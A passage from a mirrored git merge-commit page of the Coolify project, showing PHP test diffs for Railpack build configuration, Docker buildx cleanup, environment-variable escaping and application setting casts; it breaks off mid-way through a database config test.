mirror of
https://github.com/tiennm99/coolify.git
synced 2026-08-13 02:22:26 +00:00
Merge remote-tracking branch 'origin/next' into jean/allow-dots-username
This commit is contained in:
@@ -447,6 +447,15 @@ it('container prune excludes persistent resource types', function () {
|
||||
expect($sourceFile)->toContain('label=coolify.managed=true');
|
||||
});
|
||||
|
||||
it('uses persisted buildx metadata when pruning the railpack builder', function () {
|
||||
$sourceFile = file_get_contents(__DIR__.'/../../../../app/Actions/Server/CleanupDocker.php');
|
||||
|
||||
expect($sourceFile)
|
||||
->toContain('docker run --rm -v \\$HOME/.docker/buildx:/root/.docker/buildx')
|
||||
->toContain('docker buildx prune --builder coolify-railpack -af')
|
||||
->not->toContain('--buildkitd-flags');
|
||||
});
|
||||
|
||||
it('preserves build image for currently running tag', function () {
|
||||
$images = collect([
|
||||
['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
|
||||
|
||||
@@ -0,0 +1,11 @@
|
||||
<?php
|
||||
|
||||
it('persists buildx metadata between the helper container and host cleanup', function () {
|
||||
$sourceFile = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php');
|
||||
|
||||
expect($sourceFile)
|
||||
->toContain('mkdir -p {$this->serverUserHomeDir}/.docker/buildx')
|
||||
->toContain('-v {$this->serverUserHomeDir}/.docker/buildx:/root/.docker/buildx');
|
||||
|
||||
expect(substr_count($sourceFile, '{$buildxMetadataVolume} -v /var/run/docker.sock:/var/run/docker.sock'))->toBe(3);
|
||||
});
|
||||
@@ -0,0 +1,249 @@
|
||||
<?php
|
||||
|
||||
use App\Exceptions\DeploymentException;
|
||||
use App\Jobs\ApplicationDeploymentJob;
|
||||
use App\Models\Application;
|
||||
use Illuminate\Support\Collection;
|
||||
use Tests\TestCase;
|
||||
|
||||
uses(TestCase::class);
|
||||
|
||||
class TestableRailpackDeploymentJob extends ApplicationDeploymentJob
|
||||
{
|
||||
public array $recordedCommands = [];
|
||||
|
||||
public function __construct() {}
|
||||
|
||||
public function execute_remote_command(...$commands)
|
||||
{
|
||||
$this->recordedCommands[] = $commands;
|
||||
}
|
||||
}
|
||||
|
||||
function makeRailpackDeploymentJob(array $applicationAttributes = [], array $savedOutputs = []): array
|
||||
{
|
||||
$job = new TestableRailpackDeploymentJob;
|
||||
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
|
||||
$application = new Application($applicationAttributes);
|
||||
|
||||
foreach ([
|
||||
'application' => $application,
|
||||
'workdir' => '/artifacts/test-app',
|
||||
'deployment_uuid' => 'deployment-uuid',
|
||||
'saved_outputs' => new Collection($savedOutputs),
|
||||
'env_railpack_args' => "--env 'RAILPACK_NODE_VERSION=22'",
|
||||
'force_rebuild' => false,
|
||||
'addHosts' => '',
|
||||
'secrets_hash_key' => 'testing-app-key',
|
||||
] as $property => $value) {
|
||||
$reflectionProperty = $reflection->getProperty($property);
|
||||
$reflectionProperty->setAccessible(true);
|
||||
$reflectionProperty->setValue($job, $value);
|
||||
}
|
||||
|
||||
return [$job, $reflection];
|
||||
}
|
||||
|
||||
function invokeRailpackMethod(object $job, ReflectionClass $reflection, string $method, array $arguments = []): mixed
|
||||
{
|
||||
$reflectionMethod = $reflection->getMethod($method);
|
||||
$reflectionMethod->setAccessible(true);
|
||||
|
||||
return $reflectionMethod->invokeArgs($job, $arguments);
|
||||
}
|
||||
|
||||
it('deep merges repository railpack config with coolify overrides', function () {
|
||||
$repositoryConfigJson = json_encode([
|
||||
'$schema' => 'https://schema.railpack.com',
|
||||
'packages' => [
|
||||
'node' => '20',
|
||||
],
|
||||
'steps' => [
|
||||
'build' => [
|
||||
'inputs' => [['step' => 'install']],
|
||||
'commands' => ['npm run build'],
|
||||
],
|
||||
],
|
||||
'deploy' => [
|
||||
'variables' => [
|
||||
'NODE_ENV' => 'production',
|
||||
],
|
||||
'startCommand' => 'node index.js',
|
||||
],
|
||||
], JSON_THROW_ON_ERROR);
|
||||
|
||||
[$job, $reflection] = makeRailpackDeploymentJob(
|
||||
[
|
||||
'install_command' => 'npm ci',
|
||||
'build_command' => 'npm run build:prod',
|
||||
'start_command' => 'node server.js',
|
||||
],
|
||||
[
|
||||
'railpack_config_exists' => 'exists',
|
||||
'railpack_repository_config' => $repositoryConfigJson,
|
||||
],
|
||||
);
|
||||
|
||||
$repositoryConfig = invokeRailpackMethod(
|
||||
$job,
|
||||
$reflection,
|
||||
'decode_railpack_config',
|
||||
[$repositoryConfigJson, 'repository railpack.json'],
|
||||
);
|
||||
$overrides = [
|
||||
'deploy' => [
|
||||
'variables' => [
|
||||
'APP_ENV' => 'production',
|
||||
],
|
||||
],
|
||||
'packages' => [
|
||||
'python' => '3.13',
|
||||
],
|
||||
];
|
||||
$generatedConfig = invokeRailpackMethod($job, $reflection, 'merge_railpack_config', [$repositoryConfig, $overrides]);
|
||||
|
||||
expect($generatedConfig)->toMatchArray([
|
||||
'$schema' => 'https://schema.railpack.com',
|
||||
'packages' => [
|
||||
'node' => '20',
|
||||
'python' => '3.13',
|
||||
],
|
||||
'steps' => [
|
||||
'build' => [
|
||||
'inputs' => [['step' => 'install']],
|
||||
'commands' => ['npm run build'],
|
||||
],
|
||||
],
|
||||
'deploy' => [
|
||||
'variables' => [
|
||||
'NODE_ENV' => 'production',
|
||||
'APP_ENV' => 'production',
|
||||
],
|
||||
'startCommand' => 'node index.js',
|
||||
],
|
||||
]);
|
||||
});
|
||||
|
||||
it('writes a generated railpack config file when repository config exists', function () {
|
||||
[$job, $reflection] = makeRailpackDeploymentJob(
|
||||
['build_command' => 'npm run build'],
|
||||
[
|
||||
'railpack_config_exists' => 'exists',
|
||||
'railpack_repository_config' => json_encode([
|
||||
'$schema' => 'https://schema.railpack.com',
|
||||
'steps' => [
|
||||
'build' => [
|
||||
'commands' => ['npm run build'],
|
||||
],
|
||||
],
|
||||
], JSON_THROW_ON_ERROR),
|
||||
],
|
||||
);
|
||||
|
||||
$configPath = invokeRailpackMethod($job, $reflection, 'generate_railpack_config_file');
|
||||
|
||||
expect($configPath)->toBe('.coolify/railpack.generated.json');
|
||||
expect($job->recordedCommands)->toHaveCount(3);
|
||||
});
|
||||
|
||||
it('does not generate a railpack config file for command overrides alone', function () {
|
||||
[$job, $reflection] = makeRailpackDeploymentJob([
|
||||
'install_command' => 'npm ci',
|
||||
'build_command' => 'npm run build',
|
||||
'start_command' => 'node server.js',
|
||||
]);
|
||||
|
||||
$configPath = invokeRailpackMethod($job, $reflection, 'generate_railpack_config_file');
|
||||
|
||||
expect($configPath)->toBeNull();
|
||||
expect($job->recordedCommands)->toHaveCount(1);
|
||||
});
|
||||
|
||||
it('fails fast when repository railpack config is invalid json', function () {
|
||||
[$job, $reflection] = makeRailpackDeploymentJob(
|
||||
['build_command' => 'npm run build'],
|
||||
[
|
||||
'railpack_config_exists' => 'exists',
|
||||
'railpack_repository_config' => '{"steps":{"build":',
|
||||
],
|
||||
);
|
||||
|
||||
expect(fn () => invokeRailpackMethod($job, $reflection, 'generate_railpack_config_file'))
|
||||
->toThrow(DeploymentException::class, 'Invalid repository railpack.json');
|
||||
});
|
||||
|
||||
it('builds railpack prepare command using railpack env for install and cli flags for build/start overrides', function () {
|
||||
[$job, $reflection] = makeRailpackDeploymentJob(
|
||||
[
|
||||
'install_command' => 'npm ci',
|
||||
'build_command' => 'npm run build',
|
||||
'start_command' => 'node server.js',
|
||||
],
|
||||
);
|
||||
$envRailpackArgsProperty = $reflection->getProperty('env_railpack_args');
|
||||
$envRailpackArgsProperty->setAccessible(true);
|
||||
$envRailpackArgsProperty->setValue($job, "--env 'RAILPACK_NODE_VERSION=22' --env 'RAILPACK_INSTALL_CMD=npm ci'");
|
||||
|
||||
$command = invokeRailpackMethod(
|
||||
$job,
|
||||
$reflection,
|
||||
'railpack_prepare_command',
|
||||
['.coolify/railpack.generated.json'],
|
||||
);
|
||||
|
||||
expect($command)->toContain('railpack prepare');
|
||||
expect($command)->toContain("--env 'RAILPACK_NODE_VERSION=22'");
|
||||
expect($command)->toContain("--env 'RAILPACK_INSTALL_CMD=npm ci'");
|
||||
expect($command)->toContain('--build-cmd '.escapeshellarg('npm run build'));
|
||||
expect($command)->toContain('--start-cmd '.escapeshellarg('node server.js'));
|
||||
expect($command)->toContain('--config-file '.escapeshellarg('.coolify/railpack.generated.json'));
|
||||
expect($command)->toContain('--plan-out /artifacts/railpack-plan.json /artifacts/test-app');
|
||||
expect($command)->not->toContain("--env 'RAILPACK_BUILD_CMD=");
|
||||
expect($command)->not->toContain("--env 'RAILPACK_START_CMD=");
|
||||
expect($command)->not->toContain('RAILPACK_BUILD_CMD=');
|
||||
expect($command)->not->toContain('RAILPACK_START_CMD=');
|
||||
});
|
||||
|
||||
it('fails fast when docker buildx is unavailable for railpack builds', function () {
|
||||
[$job, $reflection] = makeRailpackDeploymentJob();
|
||||
|
||||
$dockerBuildxAvailableProperty = $reflection->getProperty('dockerBuildxAvailable');
|
||||
$dockerBuildxAvailableProperty->setAccessible(true);
|
||||
$dockerBuildxAvailableProperty->setValue($job, false);
|
||||
|
||||
expect(fn () => invokeRailpackMethod($job, $reflection, 'ensure_docker_buildx_available_for_railpack'))
|
||||
->toThrow(DeploymentException::class, 'Railpack deployments require the Docker buildx CLI plugin');
|
||||
});
|
||||
|
||||
it('builds railpack docker command with matching env and secret flags for all railpack variables', function () {
|
||||
[$job, $reflection] = makeRailpackDeploymentJob([
|
||||
'uuid' => 'application-uuid',
|
||||
]);
|
||||
|
||||
$command = invokeRailpackMethod(
|
||||
$job,
|
||||
$reflection,
|
||||
'railpack_build_command',
|
||||
[
|
||||
'coollabsio/coolify:test',
|
||||
collect([
|
||||
'RAILPACK_NODE_VERSION' => '22',
|
||||
'RAILPACK_INSTALL_CMD' => 'npm ci && npm run postinstall',
|
||||
'RAILPACK_DEPLOY_APT_PACKAGES' => 'curl wget',
|
||||
'SECRET_JSON' => '{"token":"abc"}',
|
||||
]),
|
||||
],
|
||||
);
|
||||
|
||||
expect($command)->toContain("env 'RAILPACK_NODE_VERSION=22'");
|
||||
expect($command)->toContain("'RAILPACK_INSTALL_CMD=npm ci && npm run postinstall'");
|
||||
expect($command)->toContain("'RAILPACK_DEPLOY_APT_PACKAGES=curl wget'");
|
||||
expect($command)->toContain("'SECRET_JSON={\"token\":\"abc\"}'");
|
||||
expect($command)->toContain("--secret 'id=RAILPACK_NODE_VERSION,env=RAILPACK_NODE_VERSION'");
|
||||
expect($command)->toContain("--secret 'id=RAILPACK_INSTALL_CMD,env=RAILPACK_INSTALL_CMD'");
|
||||
expect($command)->toContain("--secret 'id=RAILPACK_DEPLOY_APT_PACKAGES,env=RAILPACK_DEPLOY_APT_PACKAGES'");
|
||||
expect($command)->toContain("--secret 'id=SECRET_JSON,env=SECRET_JSON'");
|
||||
expect($command)->toContain(' --build-arg secrets-hash=');
|
||||
expect($command)->toContain('--build-arg BUILDKIT_SYNTAX="ghcr.io/railwayapp/railpack-frontend:v'.config('constants.coolify.railpack_version').'"');
|
||||
});
|
||||
@@ -0,0 +1,267 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\ApplicationDeploymentJob;
|
||||
use App\Models\Application;
|
||||
use App\Models\EnvironmentVariable;
|
||||
use App\Models\Server;
|
||||
|
||||
it('generates escaped railpack env args from resolved values and includes install command', function () {
|
||||
$application = Mockery::mock(Application::class);
|
||||
$application->shouldReceive('getAttribute')->with('install_command')->andReturn('npm ci && npm run postinstall');
|
||||
|
||||
$nodeVersion = Mockery::mock(EnvironmentVariable::class)->makePartial();
|
||||
$nodeVersion->forceFill([
|
||||
'key' => 'RAILPACK_NODE_VERSION',
|
||||
'is_literal' => false,
|
||||
'is_multiline' => false,
|
||||
]);
|
||||
$nodeVersion->shouldReceive('getResolvedValueWithServer')->once()->with(Mockery::type(Server::class))->andReturn('22');
|
||||
|
||||
$literalValue = Mockery::mock(EnvironmentVariable::class)->makePartial();
|
||||
$literalValue->forceFill([
|
||||
'key' => 'RAILPACK_CUSTOM_FLAG',
|
||||
'is_literal' => true,
|
||||
'is_multiline' => false,
|
||||
]);
|
||||
$literalValue->shouldReceive('getResolvedValueWithServer')->once()->with(Mockery::type(Server::class))->andReturn("'hello world'");
|
||||
|
||||
$jsonValue = Mockery::mock(EnvironmentVariable::class)->makePartial();
|
||||
$jsonValue->forceFill([
|
||||
'key' => 'RAILPACK_JSON',
|
||||
'is_literal' => false,
|
||||
'is_multiline' => false,
|
||||
]);
|
||||
$jsonValue->shouldReceive('getResolvedValueWithServer')->once()->with(Mockery::type(Server::class))->andReturn('{"token":"abc"}');
|
||||
|
||||
$nullValue = Mockery::mock(EnvironmentVariable::class)->makePartial();
|
||||
$nullValue->forceFill([
|
||||
'key' => 'RAILPACK_NULL',
|
||||
'is_literal' => false,
|
||||
'is_multiline' => false,
|
||||
]);
|
||||
$nullValue->shouldReceive('getResolvedValueWithServer')->once()->with(Mockery::type(Server::class))->andReturn(null);
|
||||
|
||||
$envQuery = Mockery::mock();
|
||||
$envQuery->shouldReceive('withoutBuildpackControlVariables')->once()->andReturnSelf();
|
||||
$envQuery->shouldReceive('where')->with('is_buildtime', true)->once()->andReturnSelf();
|
||||
$envQuery->shouldReceive('get')->once()->andReturn(collect([]));
|
||||
$application->shouldReceive('environment_variables')->once()->andReturn($envQuery);
|
||||
|
||||
$railpackQuery = Mockery::mock();
|
||||
$railpackQuery->shouldReceive('get')->once()->andReturn(collect([$nodeVersion, $literalValue, $jsonValue, $nullValue]));
|
||||
$application->shouldReceive('railpack_environment_variables')->once()->andReturn($railpackQuery);
|
||||
|
||||
$job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
|
||||
$job->shouldAllowMockingProtectedMethods();
|
||||
$job->shouldReceive('generate_coolify_env_variables')->andReturn(collect([]));
|
||||
|
||||
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$applicationProperty = $reflection->getProperty('application');
|
||||
$applicationProperty->setAccessible(true);
|
||||
$applicationProperty->setValue($job, $application);
|
||||
|
||||
$pullRequestProperty = $reflection->getProperty('pull_request_id');
|
||||
$pullRequestProperty->setAccessible(true);
|
||||
$pullRequestProperty->setValue($job, 0);
|
||||
|
||||
$mainServerProperty = $reflection->getProperty('mainServer');
|
||||
$mainServerProperty->setAccessible(true);
|
||||
$mainServerProperty->setValue($job, Mockery::mock(Server::class));
|
||||
|
||||
$method = $reflection->getMethod('generate_railpack_env_variables');
|
||||
$method->setAccessible(true);
|
||||
$variables = $method->invoke($job);
|
||||
|
||||
$envArgsProperty = $reflection->getProperty('env_railpack_args');
|
||||
$envArgsProperty->setAccessible(true);
|
||||
$envArgs = $envArgsProperty->getValue($job);
|
||||
|
||||
expect($variables->all())->toBe([
|
||||
'RAILPACK_NODE_VERSION' => '22',
|
||||
'RAILPACK_CUSTOM_FLAG' => 'hello world',
|
||||
'RAILPACK_JSON' => '{"token":"abc"}',
|
||||
'RAILPACK_INSTALL_CMD' => 'npm ci && npm run postinstall',
|
||||
'RAILPACK_DEPLOY_APT_PACKAGES' => 'curl wget',
|
||||
]);
|
||||
expect($envArgs)->toContain("--env 'RAILPACK_NODE_VERSION=22'");
|
||||
expect($envArgs)->toContain("--env 'RAILPACK_CUSTOM_FLAG=hello world'");
|
||||
expect($envArgs)->toContain("--env 'RAILPACK_JSON={\"token\":\"abc\"}'");
|
||||
expect($envArgs)->toContain("--env 'RAILPACK_INSTALL_CMD=npm ci && npm run postinstall'");
|
||||
expect($envArgs)->toContain("--env 'RAILPACK_DEPLOY_APT_PACKAGES=curl wget'");
|
||||
expect($envArgs)->not->toContain('RAILPACK_NULL');
|
||||
});
|
||||
|
||||
it('uses preview railpack environment variables for preview deployments', function () {
|
||||
$application = Mockery::mock(Application::class);
|
||||
$application->shouldReceive('getAttribute')->with('install_command')->andReturn(null);
|
||||
|
||||
$previewValue = Mockery::mock(EnvironmentVariable::class)->makePartial();
|
||||
$previewValue->forceFill([
|
||||
'key' => 'RAILPACK_PREVIEW_ONLY',
|
||||
'is_literal' => false,
|
||||
'is_multiline' => false,
|
||||
]);
|
||||
$previewValue->shouldReceive('getResolvedValueWithServer')->once()->with(Mockery::type(Server::class))->andReturn('preview-value');
|
||||
|
||||
$previewQuery = Mockery::mock();
|
||||
$previewQuery->shouldReceive('withoutBuildpackControlVariables')->once()->andReturnSelf();
|
||||
$previewQuery->shouldReceive('where')->with('is_buildtime', true)->once()->andReturnSelf();
|
||||
$previewQuery->shouldReceive('get')->once()->andReturn(collect([]));
|
||||
$application->shouldReceive('environment_variables_preview')->once()->andReturn($previewQuery);
|
||||
|
||||
$railpackPreviewQuery = Mockery::mock();
|
||||
$railpackPreviewQuery->shouldReceive('get')->once()->andReturn(collect([$previewValue]));
|
||||
$application->shouldReceive('railpack_environment_variables_preview')->once()->andReturn($railpackPreviewQuery);
|
||||
|
||||
$job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
|
||||
$job->shouldAllowMockingProtectedMethods();
|
||||
$job->shouldReceive('generate_coolify_env_variables')->andReturn(collect([]));
|
||||
|
||||
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$applicationProperty = $reflection->getProperty('application');
|
||||
$applicationProperty->setAccessible(true);
|
||||
$applicationProperty->setValue($job, $application);
|
||||
|
||||
$pullRequestProperty = $reflection->getProperty('pull_request_id');
|
||||
$pullRequestProperty->setAccessible(true);
|
||||
$pullRequestProperty->setValue($job, 42);
|
||||
|
||||
$mainServerProperty = $reflection->getProperty('mainServer');
|
||||
$mainServerProperty->setAccessible(true);
|
||||
$mainServerProperty->setValue($job, Mockery::mock(Server::class));
|
||||
|
||||
$method = $reflection->getMethod('generate_railpack_env_variables');
|
||||
$method->setAccessible(true);
|
||||
$variables = $method->invoke($job);
|
||||
|
||||
expect($variables->all())->toBe([
|
||||
'RAILPACK_PREVIEW_ONLY' => 'preview-value',
|
||||
'RAILPACK_DEPLOY_APT_PACKAGES' => 'curl wget',
|
||||
]);
|
||||
});
|
||||
|
||||
it('merges coolify env variables into railpack build variables', function () {
|
||||
$application = Mockery::mock(Application::class);
|
||||
$application->shouldReceive('getAttribute')->with('install_command')->andReturn(null);
|
||||
|
||||
$userVar = Mockery::mock(EnvironmentVariable::class)->makePartial();
|
||||
$userVar->forceFill([
|
||||
'key' => 'MY_BUILD_VAR',
|
||||
'is_literal' => false,
|
||||
'is_multiline' => false,
|
||||
]);
|
||||
$userVar->shouldReceive('getResolvedValueWithServer')->once()->with(Mockery::type(Server::class))->andReturn('hello');
|
||||
|
||||
$envQuery = Mockery::mock();
|
||||
$envQuery->shouldReceive('withoutBuildpackControlVariables')->once()->andReturnSelf();
|
||||
$envQuery->shouldReceive('where')->with('is_buildtime', true)->once()->andReturnSelf();
|
||||
$envQuery->shouldReceive('get')->once()->andReturn(collect([$userVar]));
|
||||
$application->shouldReceive('environment_variables')->once()->andReturn($envQuery);
|
||||
|
||||
$railpackQuery = Mockery::mock();
|
||||
$railpackQuery->shouldReceive('get')->once()->andReturn(collect([]));
|
||||
$application->shouldReceive('railpack_environment_variables')->once()->andReturn($railpackQuery);
|
||||
|
||||
$job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
|
||||
$job->shouldAllowMockingProtectedMethods();
|
||||
$job->shouldReceive('generate_coolify_env_variables')
|
||||
->with(true)
|
||||
->andReturn(collect([
|
||||
'COOLIFY_URL' => 'https://app.example.com',
|
||||
'COOLIFY_FQDN' => 'app.example.com',
|
||||
'COOLIFY_BRANCH' => 'main',
|
||||
'COOLIFY_RESOURCE_UUID' => 'app-uuid',
|
||||
'SOURCE_COMMIT' => 'abc123',
|
||||
'EMPTY_VAR' => '',
|
||||
'NULL_VAR' => null,
|
||||
]));
|
||||
|
||||
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$applicationProperty = $reflection->getProperty('application');
|
||||
$applicationProperty->setAccessible(true);
|
||||
$applicationProperty->setValue($job, $application);
|
||||
|
||||
$pullRequestProperty = $reflection->getProperty('pull_request_id');
|
||||
$pullRequestProperty->setAccessible(true);
|
||||
$pullRequestProperty->setValue($job, 0);
|
||||
|
||||
$mainServerProperty = $reflection->getProperty('mainServer');
|
||||
$mainServerProperty->setAccessible(true);
|
||||
$mainServerProperty->setValue($job, Mockery::mock(Server::class));
|
||||
|
||||
$method = $reflection->getMethod('generate_railpack_env_variables');
|
||||
$method->setAccessible(true);
|
||||
$variables = $method->invoke($job);
|
||||
|
||||
expect($variables->all())->toBe([
|
||||
'MY_BUILD_VAR' => 'hello',
|
||||
'RAILPACK_DEPLOY_APT_PACKAGES' => 'curl wget',
|
||||
'COOLIFY_URL' => 'https://app.example.com',
|
||||
'COOLIFY_FQDN' => 'app.example.com',
|
||||
'COOLIFY_BRANCH' => 'main',
|
||||
'COOLIFY_RESOURCE_UUID' => 'app-uuid',
|
||||
'SOURCE_COMMIT' => 'abc123',
|
||||
]);
|
||||
|
||||
$envArgsProperty = $reflection->getProperty('env_railpack_args');
|
||||
$envArgsProperty->setAccessible(true);
|
||||
$envArgs = $envArgsProperty->getValue($job);
|
||||
|
||||
expect($envArgs)->toContain("--env 'COOLIFY_URL=https://app.example.com'");
|
||||
expect($envArgs)->toContain("--env 'SOURCE_COMMIT=abc123'");
|
||||
expect($envArgs)->toContain("--env 'RAILPACK_DEPLOY_APT_PACKAGES=curl wget'");
|
||||
expect($envArgs)->not->toContain('EMPTY_VAR');
|
||||
expect($envArgs)->not->toContain('NULL_VAR');
|
||||
});
|
||||
|
||||
it('preserves user railpack deploy apt packages while adding healthcheck tools once', function () {
|
||||
$application = Mockery::mock(Application::class);
|
||||
$application->shouldReceive('getAttribute')->with('install_command')->andReturn(null);
|
||||
|
||||
$deployPackages = Mockery::mock(EnvironmentVariable::class)->makePartial();
|
||||
$deployPackages->forceFill([
|
||||
'key' => 'RAILPACK_DEPLOY_APT_PACKAGES',
|
||||
'is_literal' => false,
|
||||
'is_multiline' => false,
|
||||
]);
|
||||
$deployPackages->shouldReceive('getResolvedValueWithServer')->once()->with(Mockery::type(Server::class))->andReturn('ffmpeg curl');
|
||||
|
||||
$envQuery = Mockery::mock();
|
||||
$envQuery->shouldReceive('withoutBuildpackControlVariables')->once()->andReturnSelf();
|
||||
$envQuery->shouldReceive('where')->with('is_buildtime', true)->once()->andReturnSelf();
|
||||
$envQuery->shouldReceive('get')->once()->andReturn(collect([]));
|
||||
$application->shouldReceive('environment_variables')->once()->andReturn($envQuery);
|
||||
|
||||
$railpackQuery = Mockery::mock();
|
||||
$railpackQuery->shouldReceive('get')->once()->andReturn(collect([$deployPackages]));
|
||||
$application->shouldReceive('railpack_environment_variables')->once()->andReturn($railpackQuery);
|
||||
|
||||
$job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
|
||||
$job->shouldAllowMockingProtectedMethods();
|
||||
$job->shouldReceive('generate_coolify_env_variables')->andReturn(collect([]));
|
||||
|
||||
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$applicationProperty = $reflection->getProperty('application');
|
||||
$applicationProperty->setAccessible(true);
|
||||
$applicationProperty->setValue($job, $application);
|
||||
|
||||
$pullRequestProperty = $reflection->getProperty('pull_request_id');
|
||||
$pullRequestProperty->setAccessible(true);
|
||||
$pullRequestProperty->setValue($job, 0);
|
||||
|
||||
$mainServerProperty = $reflection->getProperty('mainServer');
|
||||
$mainServerProperty->setAccessible(true);
|
||||
$mainServerProperty->setValue($job, Mockery::mock(Server::class));
|
||||
|
||||
$method = $reflection->getMethod('generate_railpack_env_variables');
|
||||
$method->setAccessible(true);
|
||||
$variables = $method->invoke($job);
|
||||
|
||||
expect($variables->get('RAILPACK_DEPLOY_APT_PACKAGES'))->toBe('ffmpeg curl wget');
|
||||
|
||||
$envArgsProperty = $reflection->getProperty('env_railpack_args');
|
||||
$envArgsProperty->setAccessible(true);
|
||||
$envArgs = $envArgsProperty->getValue($job);
|
||||
|
||||
expect($envArgs)->toContain("--env 'RAILPACK_DEPLOY_APT_PACKAGES=ffmpeg curl wget'");
|
||||
});
|
||||
@@ -11,7 +11,7 @@ use App\Models\ApplicationSetting;
|
||||
|
||||
it('casts is_static to boolean when true', function () {
|
||||
$setting = new ApplicationSetting;
|
||||
$setting->is_static = true;
|
||||
$setting->setRawAttributes(['is_static' => true]);
|
||||
|
||||
// Verify it's cast to boolean
|
||||
expect($setting->is_static)->toBeTrue()
|
||||
@@ -20,7 +20,7 @@ it('casts is_static to boolean when true', function () {
|
||||
|
||||
it('casts is_static to boolean when false', function () {
|
||||
$setting = new ApplicationSetting;
|
||||
$setting->is_static = false;
|
||||
$setting->setRawAttributes(['is_static' => false]);
|
||||
|
||||
// Verify it's cast to boolean
|
||||
expect($setting->is_static)->toBeFalse()
|
||||
@@ -29,7 +29,7 @@ it('casts is_static to boolean when false', function () {
|
||||
|
||||
it('casts is_static from string "1" to boolean true', function () {
|
||||
$setting = new ApplicationSetting;
|
||||
$setting->is_static = '1';
|
||||
$setting->setRawAttributes(['is_static' => '1']);
|
||||
|
||||
// Should cast string to boolean
|
||||
expect($setting->is_static)->toBeTrue()
|
||||
@@ -38,7 +38,7 @@ it('casts is_static from string "1" to boolean true', function () {
|
||||
|
||||
it('casts is_static from string "0" to boolean false', function () {
|
||||
$setting = new ApplicationSetting;
|
||||
$setting->is_static = '0';
|
||||
$setting->setRawAttributes(['is_static' => '0']);
|
||||
|
||||
// Should cast string to boolean
|
||||
expect($setting->is_static)->toBeFalse()
|
||||
@@ -47,7 +47,7 @@ it('casts is_static from string "0" to boolean false', function () {
|
||||
|
||||
it('casts is_static from integer 1 to boolean true', function () {
|
||||
$setting = new ApplicationSetting;
|
||||
$setting->is_static = 1;
|
||||
$setting->setRawAttributes(['is_static' => 1]);
|
||||
|
||||
// Should cast integer to boolean
|
||||
expect($setting->is_static)->toBeTrue()
|
||||
@@ -56,7 +56,7 @@ it('casts is_static from integer 1 to boolean true', function () {
|
||||
|
||||
it('casts is_static from integer 0 to boolean false', function () {
|
||||
$setting = new ApplicationSetting;
|
||||
$setting->is_static = 0;
|
||||
$setting->setRawAttributes(['is_static' => 0]);
|
||||
|
||||
// Should cast integer to boolean
|
||||
expect($setting->is_static)->toBeFalse()
|
||||
@@ -103,3 +103,65 @@ it('casts all boolean fields correctly', function () {
|
||||
->and($casts[$field])->toBe('boolean');
|
||||
}
|
||||
});
|
||||
|
||||
it('casts stop_grace_period to integer', function () {
|
||||
$setting = new ApplicationSetting;
|
||||
$casts = $setting->getCasts();
|
||||
|
||||
expect($casts)->toHaveKey('stop_grace_period')
|
||||
->and($casts['stop_grace_period'])->toBe('integer');
|
||||
});
|
||||
|
||||
it('handles null stop_grace_period for default behavior', function () {
|
||||
$setting = new ApplicationSetting;
|
||||
$setting->stop_grace_period = null;
|
||||
|
||||
expect($setting->stop_grace_period)->toBeNull();
|
||||
});
|
||||
|
||||
it('casts stop_grace_period from string to integer', function () {
|
||||
$setting = new ApplicationSetting;
|
||||
$setting->stop_grace_period = '60';
|
||||
|
||||
expect($setting->stop_grace_period)->toBe(60)
|
||||
->and($setting->stop_grace_period)->toBeInt();
|
||||
});
|
||||
|
||||
it('casts stop_grace_period zero to integer (documents fallback trigger)', function () {
|
||||
$setting = new ApplicationSetting;
|
||||
$setting->stop_grace_period = 0;
|
||||
|
||||
expect($setting->stop_grace_period)->toBe(0)
|
||||
->and($setting->stop_grace_period)->toBeInt();
|
||||
});
|
||||
|
||||
it('casts stop_grace_period negative value to integer (documents fallback trigger)', function () {
|
||||
$setting = new ApplicationSetting;
|
||||
$setting->stop_grace_period = -10;
|
||||
|
||||
expect($setting->stop_grace_period)->toBe(-10)
|
||||
->and($setting->stop_grace_period)->toBeInt();
|
||||
});
|
||||
|
||||
it('resolves valid stop grace periods', function (?int $storedValue, int $expectedValue) {
|
||||
$setting = new ApplicationSetting;
|
||||
$setting->stop_grace_period = $storedValue;
|
||||
|
||||
expect($setting->stopGracePeriodSeconds())->toBe($expectedValue);
|
||||
})->with([
|
||||
'minimum' => [MIN_STOP_GRACE_PERIOD_SECONDS, MIN_STOP_GRACE_PERIOD_SECONDS],
|
||||
'custom' => [300, 300],
|
||||
'maximum' => [MAX_STOP_GRACE_PERIOD_SECONDS, MAX_STOP_GRACE_PERIOD_SECONDS],
|
||||
]);
|
||||
|
||||
it('falls back to default stop grace period for invalid stored values', function (?int $storedValue) {
|
||||
$setting = new ApplicationSetting;
|
||||
$setting->stop_grace_period = $storedValue;
|
||||
|
||||
expect($setting->stopGracePeriodSeconds())->toBe(DEFAULT_STOP_GRACE_PERIOD_SECONDS);
|
||||
})->with([
|
||||
'null' => [null],
|
||||
'zero' => [0],
|
||||
'negative' => [-10],
|
||||
'above maximum' => [MAX_STOP_GRACE_PERIOD_SECONDS + 1],
|
||||
]);
|
||||
|
||||
@@ -0,0 +1,64 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Support\Env;
|
||||
|
||||
function databaseConfigWithEnvironment(array $overrides): array
|
||||
{
|
||||
$keys = [
|
||||
'DB_HOST',
|
||||
'DB_READ_HOST',
|
||||
'DB_WRITE_HOST',
|
||||
];
|
||||
|
||||
$repository = Env::getRepository();
|
||||
$original = [];
|
||||
|
||||
foreach ($keys as $key) {
|
||||
$original[$key] = env($key);
|
||||
$repository->clear($key);
|
||||
}
|
||||
|
||||
try {
|
||||
foreach ($overrides as $key => $value) {
|
||||
$repository->set($key, (string) $value);
|
||||
}
|
||||
|
||||
return require __DIR__.'/../../config/database.php';
|
||||
} finally {
|
||||
foreach ($keys as $key) {
|
||||
$repository->clear($key);
|
||||
|
||||
if ($original[$key] !== null) {
|
||||
